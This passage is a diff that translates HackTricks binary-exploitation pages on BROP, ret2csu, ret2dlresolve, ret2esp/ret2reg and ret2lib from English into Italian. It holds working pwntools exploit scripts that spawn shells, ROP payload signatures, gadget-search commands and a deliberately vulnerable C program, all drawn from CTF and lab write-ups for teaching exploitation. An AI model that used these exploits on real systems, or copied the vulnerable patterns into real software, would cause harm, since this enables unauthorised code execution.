questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.** -There are 3 common funtions taht could be abused for this: +Ci sono 3 funzioni comuni che potrebbero essere sfruttate per questo: - `puts(data)` - `dprintf(fd, data)` - `write(fd, data, len(data)` -However, the original paper only mentions the **`write`** one, so lets talk about it: +Tuttavia, il documento originale menziona solo la funzione **`write`**, quindi parliamo di essa: -The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. +Il problema attuale è che non sappiamo **dove si trova la funzione write all'interno della PLT** e non conosciamo **un numero fd per inviare i dati al nostro socket**. -However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. +Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a alcune delle nostre connessioni. -Behaviour signatures to find those functions: +Firme di comportamento per trovare queste funzioni: -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se ci sono dati stampati, allora è stata trovata puts +- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se ci sono dati stampati, allora è stata trovata dprintf +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se ci sono dati stampati, allora è stata trovata write -## Automatic Exploitation +## Sfruttamento automatico - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) -## References +## Riferimenti -- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) +- Documento originale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 73cbb4e58..b8d7dbcec 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,18 +4,17 @@ ## -## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information +## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informazioni di base -**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. +**ret2csu** è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riesce a trovare i **gadgets** che si usano di solito per manipolare il comportamento del programma. -When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. +Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadgets mancanti, in particolare una chiamata `__libc_csu_init`. -### The Magic Gadgets in \_\_libc_csu_init +### I Gadget Magici in \_\_libc_csu_init -In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: - -1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. +In **`__libc_csu_init`**, ci sono due sequenze di istruzioni (gadgets) da evidenziare: +1. La prima sequenza ci consente di impostare valori in diversi registri (rbx, rbp, r12, r13, r14, r15). Questi sono come slot dove possiamo memorizzare numeri o indirizzi che vogliamo utilizzare in seguito. ```armasm pop rbx; pop rbp; @@ -25,22 +24,18 @@ pop r14; pop r15; ret; ``` +Questo gadget ci consente di controllare questi registri estraendo valori dallo stack in essi. -This gadget allows us to control these registers by popping values off the stack into them. - -2. The second sequence uses the values we set up to do a couple of things: - - **Move specific values into other registers**, making them ready for us to use as parameters in functions. - - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. - +2. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose: +- **Spostare valori specifici in altri registri**, rendendoli pronti per essere utilizzati come parametri nelle funzioni. +- **Eseguire una chiamata a una posizione** determinata sommando i valori in r15 e rbx, quindi moltiplicando rbx per 8. ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` - -3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it: - +3. Forse non conosci alcun indirizzo su cui scrivere e hai **bisogno di un'istruzione `ret`**. Nota che il secondo gadget terminerà anche con un **`ret`**, ma dovrai soddisfare alcune **condizioni** per raggiungerlo: ```armasm mov rdx, r15; mov rsi, r14; @@ -52,50 +47,46 @@ jnz ... ret ``` +Le condizioni saranno: -The conditions will be: - -- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func): - - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init: - +- `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione chiamabile (se non hai idee e non c'è pie, puoi semplicemente usare la funzione `_init`): +- Se \_init è a `0x400560`, usa GEF per cercare un puntatore in memoria ad esso e fai in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x - 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" +0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- - 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" +0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` +- `rbp` e `rbx` devono avere lo stesso valore per evitare il salto +- Ci sono alcuni pop omessi che devi tenere in considerazione -- `rbp` and `rbx` must have the same value to avoid the jump -- There are some omitted pops you need to take into account +## RDI e RSI -## RDI and RSI - -Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets: +Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a specifici offset:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-Check this page for more info: +Controlla questa pagina per ulteriori informazioni: {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} -## Example +## Esempio -### Using the call +### Utilizzando la chiamata -Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. +Immagina di voler effettuare una syscall o chiamare una funzione come `write()` ma hai bisogno di valori specifici nei registri `rdx` e `rsi` come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non riesci a trovarne. -Here's where **ret2csu** comes into play: +Ecco dove entra in gioco **ret2csu**: -1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. -2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. - -You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: +1. **Imposta i Registri**: Usa il primo gadget magico per estrarre valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15. +2. **Usa il Secondo Gadget**: Con quei registri impostati, usi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`. +Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha utilizzato: ```python from pwn import * @@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` - > [!WARNING] -> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. +> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato a chiamare solo una funzione chiamata **`win`** (prendendo l'indirizzo di `win` dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`. -### Bypassing the call and reaching ret - -The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call: +### Bypassare la chiamata e raggiungere ret +L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) dove il **ret2csu** è utilizzato ma invece di usare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -176,9 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` +### Perché non usare direttamente libc? -### Why Not Just Use libc Directly? - -Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. +Di solito, questi casi sono vulnerabili anche a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fc2ea86a..66c499e4f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -2,38 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. +Come spiegato nella pagina su [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), i binari senza Full Relro risolveranno i simboli (come indirizzi a librerie esterne) la prima volta che vengono utilizzati. Questa risoluzione avviene chiamando la funzione **`_dl_runtime_resolve`**. -The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. +La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti a alcune strutture di cui ha bisogno per **risolvere** il simbolo specificato. -Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). +Pertanto, è possibile **falsificare tutte queste strutture** per far sì che il collegamento dinamico risolva il simbolo richiesto (come la funzione **`system`**) e chiamarla con un parametro configurato (ad es. **`system('/bin/sh')`**). -Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. +Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendola **risolvere l'indirizzo di `system`** nelle strutture falsificate e **chiamando questo indirizzo** con l'indirizzo a `$'/bin/sh'`. > [!TIP] -> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. +> Questa tecnica è particolarmente utile se non ci sono gadget syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) e non ci sono modi per fare leak degli indirizzi libc. -Chek this video for a nice explanation about this technique in the second half of the video: +Guarda questo video per una bella spiegazione su questa tecnica nella seconda metà del video: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -Or check these pages for a step-by-step explanation: +Oppure controlla queste pagine per una spiegazione passo-passo: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) -## Attack Summary +## Riepilogo dell'Attacco -1. Write fake estructures in some place -2. Set the first argument of system (`$rdi = &'/bin/sh'`) -3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** -4. **Call** `_dl_runtime_resolve` -5. **`system`** will be resolved and called with `'/bin/sh'` as argument - -From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: +1. Scrivere strutture false in un certo luogo +2. Impostare il primo argomento di system (`$rdi = &'/bin/sh'`) +3. Impostare nello stack gli indirizzi alle strutture per chiamare **`_dl_runtime_resolve`** +4. **Chiamare** `_dl_runtime_resolve` +5. **`system`** verrà risolto e chiamato con `'/bin/sh'` come argomento +Dalla [**documentazione di pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), ecco come appare un attacco **`ret2dlresolve`**: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` - -## Example +## Esempio ### Pure Pwntools -You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: - +Puoi trovare un [**esempio di questa tecnica qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **che contiene una spiegazione molto buona della catena ROP finale**, ma qui c'è l'exploit finale utilizzato: ```python from pwn import * @@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` - -### Raw - +### Crudo ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -186,12 +181,11 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` - -## Other Examples & References +## Altri Esempi & Riferimenti - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. +- 32bit, no relro, no canary, nx, no pie, overflow di buffer piccolo di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` di nuovo con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi `system('/bin/sh')`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 868f6ffa5..b50028b2c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,27 +4,24 @@ ## **Ret2esp** -**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. +**Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack**, questa tecnica prevede di sostituire l'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. Facendo ciò, il shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando viene eseguita l'istruzione `ret`, l'ESP punta all'indirizzo successivo, precisamente dove è memorizzato il shellcode. -If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). +Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere [**PIE**](../common-binary-protections-and-bypasses/pie/)). -Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. +Inoltre, essere in grado di posizionare il shellcode **dopo la corruzione dell'EIP**, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni `push` o `pop` eseguite durante l'operazione della funzione non interferiscano con il shellcode. Questa interferenza potrebbe verificarsi se il shellcode fosse posizionato nel mezzo dello stack della funzione. -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like: +### Mancanza di spazio +Se ti manca spazio per scrivere dopo aver sovrascritto l'RIP (forse solo pochi byte), scrivi un shellcode iniziale **`jmp`** come: ```armasm sub rsp, 0x30 jmp rsp ``` +E scrivi il shellcode all'inizio dello stack. -And write the shellcode early in the stack. - -### Example - -You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: +### Esempio +Puoi trovare un esempio di questa tecnica in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) con un exploit finale come: ```python from pwn import * @@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' - sub rsp, 10; - jmp rsp; +sub rsp, 10; +jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` - -You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode: - +Puoi vedere un altro esempio di questa tecnica in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). C'è un buffer overflow senza NX abilitato, viene utilizzato un gadget per **ridurre l'indirizzo di `$esp`** e poi un `jmp esp;` per saltare al shellcode: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -81,47 +76,41 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() ``` - ## Ret2reg -Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). +Allo stesso modo, se sappiamo che una funzione restituisce l'indirizzo dove è memorizzato il shellcode, possiamo sfruttare le istruzioni **`call eax`** o **`jmp eax`** (note come tecnica **ret2eax**), offrendo un altro metodo per eseguire il nostro shellcode. Proprio come eax, **qualsiasi altro registro** contenente un indirizzo interessante potrebbe essere utilizzato (**ret2reg**). -### Example +### Esempio -You can find some examples here: +Puoi trovare alcuni esempi qui: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. +- **`strcpy`** memorizzerà in **`eax`** l'indirizzo del buffer dove è stato memorizzato il shellcode e **`eax`** non viene sovrascritto, quindi è possibile utilizzare un `ret2eax`. ## ARM64 ### Ret2sp -In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: - +In ARM64 non ci **sono** istruzioni che consentono di **saltare al registro SP**. Potrebbe essere possibile trovare un gadget che **sposta sp in un registro e poi salta a quel registro**, ma nella libc della mia kali non sono riuscito a trovare alcun gadget di questo tipo: ```bash for i in `seq 1 30`; do - ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` - -The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless): +L'unico che ho scoperto cambierebbe il valore del registro dove sp è stato copiato prima di saltare a esso (quindi diventerebbe inutile):
### Ret2reg -If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: - +Se un registro ha un indirizzo interessante, è possibile saltare a esso semplicemente trovando l'istruzione adeguata. Potresti usare qualcosa come: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` +In ARM64, è **`x0`** che memorizza il valore di ritorno di una funzione, quindi potrebbe essere che x0 memorizzi l'indirizzo di un buffer controllato dall'utente con uno shellcode da eseguire. -In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. - -Example code: - +Esempio di codice: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -129,34 +118,32 @@ Example code: #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("br x0"); - return; +if (do_arg == 1) +__asm__("br x0"); +return; } char* vulnerable_function() { - char buffer[64]; - fgets(buffer, sizeof(buffer)*3, stdin); - return buffer; +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; } int main(int argc, char **argv) { - char* b = vulnerable_function(); - do_stuff(2) - return 0; +char* b = vulnerable_function(); +do_stuff(2) +return 0; } ``` - -Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow: +Controllando la disassemblaggio della funzione, è possibile vedere che l'**indirizzo del buffer** (vulnerabile a bof e **controllato dall'utente**) è **memorizzato in `x0`** prima di tornare dal buffer overflow:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: +È anche possibile trovare il gadget **`br x0`** nella funzione **`do_stuff`**:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: - +Utilizzeremo quel gadget per saltarci perché il binario è compilato **SENZA PIE.** Usando un pattern è possibile vedere che l'**offset del buffer overflow è 80**, quindi l'exploit sarebbe: ```python from pwn import * @@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` - > [!WARNING] -> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ -> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. +> Se invece di `fgets` fosse stato usato qualcosa come **`read`**, sarebbe stato possibile bypassare PIE anche **sovrascrivendo solo gli ultimi 2 byte dell'indirizzo di ritorno** per tornare all'istruzione `br x0;` senza bisogno di conoscere l'indirizzo completo.\ +> Con `fgets` non funziona perché **aggiunge un byte nullo (0x00) alla fine**. -## Protections +## Protezioni -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo posizionare il shellcode nello stack e saltare per eseguirlo. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Questi possono rendere più difficile trovare un'istruzione a cui saltare per esp o qualsiasi altro registro. -## References +## Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index c213407d3..eb01117c1 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -2,103 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Informazioni di Base** -The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. +L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad es., **system**, **execve**, **strcpy**) invece di eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, mentre organizza anche eventuali argomenti necessari per essere impostati correttamente secondo la convenzione di 